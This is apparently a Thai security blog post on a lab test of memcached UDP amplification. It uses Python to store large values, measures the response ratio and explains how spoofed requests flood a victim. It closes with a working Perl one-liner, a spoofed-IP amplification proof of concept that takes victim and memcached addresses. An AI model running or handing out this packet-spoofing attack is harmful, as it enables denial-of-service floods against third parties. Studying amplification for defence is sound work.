จากก่อนหน้านี้เราพูดถึง memcached server นั้นถูกใช้เป็นตัวที่ใช้ในการโจมตี DDoS ที่อื่น ทีนี้ก็เลยมีความสงสัยว่าจริงๆแล้วมัน response แตกต่างกันขนาดไหน แล้วทำไมมันถึง response ได้สูงขนาดนั้น ก็เลยทำ lab ขึ้นมาครับ
*** หมายเหตุการกระทำนี้เพื่อการเรียนรู้เท่านั้น มิได้จงใจทำขึ้นมาเพื่อการโจมตีแต่อย่างใด การทดสอบใดๆกระทำใน private lab ปิดเท่านั้นครับ
**** การโจมตี DDoS ไม่ใช่การโจมตีเพื่อทดสอบ penetration testing แต่อย่างใดครับ
1. ทดสอบก่อน insert data เข้า memcached เราได้ลองใช้คำสั่ง stats เพื่อดูการเก็บค่าใดๆของ memcached ซึ่งจะเห็นว่าเราใช้เพียง 16 byte แต่ทาง memcached ตอบกลับมาถึง 1056 byte
2. ยัด data เข้าไปโดยกำหนดชื่อคือ ‘secplayground’ ใน cached
1 2 3 |
import memcache mc = memcache.Client(['MEMCACHED_IP:11211'],debug=True) mc.set('secplayground',900000000000000000000000000000000000000000000000000000000000000000000000) |
3. ทดสอบดึงค่า ‘secplayground’ จาก memcached
4. วนกลับไป set data อีกที โดยกำหนดค่าเป็นจำนวนมากๆ แล้วเรียกอีกครั้ง
1 2 3 4 |
import memcache mc = memcache.Client(['192.168.50.159:11211'],debug=True) value = '1239'*100000 mc.set('secplayground',str(value)) |
ถ้าเราเอา 402356/28 จะได้เท่ากับ 14,369 จะเห็นว่าแม้ว่าเราจะใช้เพียงแค่ 28 byte ในการ request เท่านั้น แต่ memcached server นั้นตอบกลับมาถึง 14,369 เท่าเลยทีเดียว ซึ่งจากข่าวก่อนหน้านี้ ทาง Attacker ทำให้ memcached server response ได้สูงถึง 51,200 เท่า และประกอบกับว่า memcached server นั้นรองรับการทำงานที่เป็น UDP ด้วย ทำให้ Attacker สามารถใช้จุดตรงนี้ปลอม IP ที่เรียกจากไหนก็ได้มาเป็นตัวรับ packet ก้อนมหาศาลแทนให้ ซึ่งนั่นทำให้ท่อ network ของเป้าหมายเต็มนั่นเอง
1 2 |
UDP 50,000x AMP attack IP-Spoof POC. syntax args: <victim_ip> <memecache_ip> use Socket;socket R,2,3,255;setsockopt R,0,1,1;send R,pack("H*x4H*a4a4H*Z*",45000019,"52110000",(map{inet_aton$_}@ARGV),"fefe2bcb0017"."0"x14,"\x01\x00\x00stats\r\n"),0,pack"Sna4x8",2,60,pop |
Reference:: bloq.com